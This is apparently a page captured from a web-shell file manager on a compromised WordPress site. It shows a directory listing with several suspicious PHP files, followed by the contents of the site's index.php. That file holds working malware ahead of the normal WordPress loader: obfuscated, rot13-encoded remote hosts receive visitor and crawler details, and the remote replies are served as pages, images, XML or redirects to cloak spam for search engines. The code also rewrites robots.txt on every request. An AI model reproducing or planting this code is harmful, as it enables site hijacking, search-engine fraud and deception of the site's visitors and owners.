Gecko [ cxecomgroup.com ]

Name	Size	Permission	Date
.tmb	[ DIR ]	drwxrwxrwx	2025-02-14 10:46
.well-known	[ DIR ]	drwxr-xr-x	2022-03-30 15:57
723171	[ DIR ]	drwxr-xr-x	2026-07-24 09:41
cgi-bin	[ DIR ]	drwxr-xr-x	2026-07-23 08:49
wp-admin	[ DIR ]	drwxr-xr-x	2026-07-23 08:49
wp-content	[ DIR ]	drwxr-xr-x	2026-07-24 20:20
wp-includes	[ DIR ]	drwxr-xr-x	2026-07-23 08:49
.htaccess	197 B	-r--r--r--	2026-07-24 09:41
.htaccess.bk	2.84 KB	-rw-r--r--	2024-10-04 14:16
1.php	31 KB	-rw-r--r--	2026-07-23 03:16
apreset.php	112.74 KB	-rw-r--r--	2026-07-23 10:29
goods.php	271 B	-rw-r--r--	2026-07-23 22:35
index.php	4.71 KB	-rw-r--r--	2026-07-23 10:21
license.txt	19.44 KB	-rw-r--r--	2026-05-21 13:18
readme.html	7.23 KB	-rw-r--r--	2026-07-17 21:11
robots.txt	74 B	-rw-r--r--	2026-07-24 20:20
shop.php	141 B	-rw-r--r--	2026-07-23 22:33
wp-activate.php	7.2 KB	-rw-r--r--	2026-05-21 13:18
wp-blog-header.php	3.08 KB	-rw-r--r--	2026-07-23 08:49
wp-comments-post.php	2.27 KB	-rw-r--r--	2023-08-09 02:12
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-12-03 14:12
wp-config.php	3.54 KB	-rw-r--r--	2025-03-24 19:07
wp-cron.php	8.23 KB	-rw-r--r--	2026-07-23 08:49
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-12-03 14:12
wp-load.php	3.84 KB	-rw-r--r--	2024-08-09 09:56
wp-login.php	50.63 KB	-rw-r--r--	2026-05-21 13:18
wp-mail.php	8.52 KB	-rw-r--r--	2025-12-03 14:12
wp-settings.php	31.88 KB	-rw-r--r--	2026-05-21 13:18
wp-signup.php	33.81 KB	-rw-r--r--	2026-05-21 13:18
wp-trackback.php	5.09 KB	-rw-r--r--	2025-12-03 14:12
wplog.php	7.73 KB	-rw-r--r--	2026-07-20 16:10
xmlrpc.php	3.13 KB	-rw-r--r--	2025-04-16 10:34

Rename

<?php
$xmlstring = '%33%32%31%33%2D%65%6E%61%78%32%31%33%2E%76%7A%63%68%79%66%62%65%2E%6B%6C%6D,%33%32%31%33%2D%65%6E%61%78%32%31%33%2E%69%76%65%6E%79%76%67%75%72%2E%6B%6C%6D,%33%32%31%33%2D%65%6E%61%78%32%31%33%2E%73%6E%66%67%62%65%72%66%2E%67%62%63,%33%32%31%33%2D%65%6E%61%78%32%31%33%2E%79%76%7A%76%61%6E%79%76%66%2E%67%62%63';
$xmlname = explode(',', $xmlstring);
$http = is_https() ? 'https' : 'http';
$duri_tmp = drequest_uri();
$duri = empty($duri_tmp) ? '/' : $duri_tmp;
$host = $_SERVER['HTTP_HOST'];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
$urlshang = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$web = 'web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($xmlname, $http, $web);
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$hta = "";
if (stristr($duri, '/?')) {
    $hta = "?";
}
$defaultContent = 'User-agent: *' . PHP_EOL;
$defaultContent .= 'Allow: /' . PHP_EOL . PHP_EOL;
$defaultContent .= 'Sitemap: ' . $http . '://' . $host . '/' . $hta . 'sitemap.xml' . PHP_EOL;
if (!file_exists($robotsPath)) {
    file_put_contents($robotsPath, $defaultContent);
} else {
    if (md5_file($robotsPath) !== md5($defaultContent)) {
        @file_put_contents($robotsPath, $defaultContent);
    }
}
if (!strstr($html_content, 'nobotuseragent')) {
    handle_content($html_content);
}
function is_https()
{
    return (
        isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'
        || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'
        || isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'
    );
}
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        return $_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['argv'])) {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
    } else {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
    }
}
function disbot()
{
    $uAgent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot');
}
function doutdo($webs, $http, $web)
{
    shuffle($webs);
    foreach ($webs as $domain) {
        $domain = str_rot13(urldecode($domain));
        $url = 'http://' . $domain . '/index.php?' . $web;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        if (!curl_errno($ch)) {
            curl_close($ch);
            return $response;
        } else {
            curl_close($ch);
        }
        if (ini_get('allow_url_fopen')) {
            $response = @file_get_contents($url);
            if ($response !== false) {
                return $response;
            }
        }
    }
    echo 'cURL Error: 0';
}
function handle_content($html_content)
{
    if (strstr($html_content, 'okhtmlgetimg')) {
        header('Content-Type: image/jpeg');
        echo str_replace("okhtmlgetimg", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okhtmlgetcss')) {
        header('Content-Type: text/css; charset=utf-8');
        echo str_replace("okhtmlgetcss", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okhtmlgetcontent')) {
        header('Content-type: text/html; charset=utf-8');
        echo str_replace("okhtmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okxmlgetcontent')) {
        header('Content-Type: application/xml; charset=utf-8');
        echo str_replace("okxmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'getcontent500page')) {
        header('HTTP/1.1 500 Internal Server Error');
        exit();
    } elseif (strstr($html_content, 'getcontent404page')) {
        header('HTTP/1.1 404 Not Found');
        exit();
    } elseif (strstr($html_content, 'getcontent301page')) {
        header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace('getcontent301page', '', $html_content);
        header('Location: ' . $html_content);
        exit();
    } elseif (strstr($html_content, 'okrobotsgetcontent')) {
        header('Content-Type: text/plain');
        echo str_replace("okrobotsgetcontent", '', $html_content);
        exit();
    }
}
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';